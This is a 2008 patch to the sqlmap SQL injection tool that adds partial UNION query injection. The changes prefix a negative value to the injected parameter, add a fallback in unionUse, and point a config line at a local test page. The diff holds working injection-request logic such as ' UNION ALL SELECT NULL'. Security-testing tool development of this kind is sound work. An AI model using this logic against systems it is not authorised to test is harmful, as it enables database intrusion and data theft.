From 578bcb9140c50baa990066ac4e7f67c482f1c2ef Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Tue, 2 Dec 2008 21:56:23 +0000 Subject: [PATCH] Initial support for partial UNION query sql injection --- lib/core/agent.py | 11 +++++--- lib/core/option.py | 1 + lib/techniques/inband/union/test.py | 2 +- lib/techniques/inband/union/use.py | 41 +++++++++++++++++++++-------- sqlmap.conf | 1 + 5 files changed, 41 insertions(+), 15 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 628dec0cc..fa75bbea1 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -47,7 +47,7 @@ class Agent: temp.stop = randomStr(6) - def payload(self, place=None, parameter=None, value=None, newValue=None): + def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False): """ This method replaces the affected parameter with the SQL injection statement to request @@ -55,16 +55,21 @@ class Agent: retValue = "" + if negative == True or conf.paramNegative == True: + negValue = "-" + else: + negValue = "" + # After identifing the injectable parameter if kb.injPlace == "User-Agent": retValue = kb.injParameter.replace(kb.injParameter, - kb.injParameter + newValue) + "%s%s" % (negValue, kb.injParameter + newValue)) elif kb.injParameter: paramString = conf.parameters[kb.injPlace] paramDict = conf.paramDict[kb.injPlace] value = paramDict[kb.injParameter] retValue = paramString.replace("%s=%s" % (kb.injParameter, value), - "%s=%s" % (kb.injParameter, value + newValue)) + "%s=%s%s" % (kb.injParameter, negValue, value + newValue)) # Before identifing the injectable parameter elif parameter == "User-Agent": diff --git a/lib/core/option.py b/lib/core/option.py index 05e2b047a..61099cd5b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -540,6 +540,7 @@ def __setConfAttributes(): conf.outputPath = None conf.paramDict = {} conf.parameters = {} + conf.paramNegative = False conf.path = None conf.port = None conf.scheme = None diff --git a/lib/techniques/inband/union/test.py b/lib/techniques/inband/union/test.py index 32ef41948..e0bd1e5dc 100644 --- a/lib/techniques/inband/union/test.py +++ b/lib/techniques/inband/union/test.py @@ -95,7 +95,7 @@ def unionTest(): query = agent.prefixQuery(" UNION ALL SELECT NULL") - for comment in ("", queries[kb.dbms].comment): + for comment in (queries[kb.dbms].comment, ""): value = __effectiveUnionTest(query, comment) if value: diff --git a/lib/techniques/inband/union/use.py b/lib/techniques/inband/union/use.py index b6241603f..fc934376c 100644 --- a/lib/techniques/inband/union/use.py +++ b/lib/techniques/inband/union/use.py @@ -40,8 +40,13 @@ from lib.request.connect import Connect as Request from lib.techniques.inband.union.test import unionTest -def __unionPosition(count, expression): - logMsg = "confirming inband sql injection on parameter " +def __unionPosition(count, expression, negative=False): + if negative: + negLogMsg = "partial" + else: + negLogMsg = "full" + + logMsg = "confirming %s inband sql injection on parameter " % negLogMsg logMsg += "'%s'" % kb.injParameter logger.info(logMsg) @@ -63,7 +68,7 @@ def __unionPosition(count, expression): # Forge the inband SQL injection request query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition) - payload = agent.payload(newValue=query) + payload = agent.payload(newValue=query, negative=negative) # Perform the request resultPage = Request.queryPage(payload, content=True) @@ -82,13 +87,16 @@ def __unionPosition(count, expression): if isinstance(kb.unionPosition, int): logMsg = "the target url is affected by an exploitable " - logMsg += "inband sql injection vulnerability" + logMsg += "%s inband sql injection vulnerability" % negLogMsg logger.info(logMsg) else: warnMsg = "the target url is not affected by an exploitable " - warnMsg += "inband sql injection vulnerability, sqlmap will " - warnMsg += "retrieve the expression output through blind sql " - warnMsg += "injection technique" + warnMsg += "%s inband sql injection vulnerability" % negLogMsg + + if negLogMsg == "partial": + warnMsg += ", sqlmap will retrieve the expression output " + warnMsg += "through blind sql injection technique" + logger.warn(warnMsg) return count @@ -101,9 +109,9 @@ def unionUse(expression): inband SQL injection on the affected url """ - count = 0 + count = 0 origExpr = expression - start = time.time() + start = time.time() if not kb.unionCount: unionTest() @@ -120,10 +128,21 @@ def unionUse(expression): if not isinstance(kb.unionPosition, int): count = __unionPosition(count, expression) - # Assure that the above function found the exploitable inband + # Assure that the above function found the exploitable full inband # SQL injection position if not isinstance(kb.unionPosition, int): - return + count = __unionPosition(count, expression, True) + + # Assure that the above function found the exploitable partial + # inband SQL injection position + if not isinstance(kb.unionPosition, int): + return + else: + conf.paramNegative = True + + # TODO: if conf.paramNegative == True and query can returns multiple + # entries, get once per time in a for cycle, see lib/request/inject.py + # like for --sql-query and --sql-shell # Forge the inband SQL injection request query = agent.forgeInbandQuery(expression) diff --git a/sqlmap.conf b/sqlmap.conf index eb3ca9fef..da2e97032 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -4,6 +4,7 @@ # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 # PHP and MySQL (local) url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1 +#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1 # PHP and Oracle (local) #url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1 # PHP and PostgreSQL (local)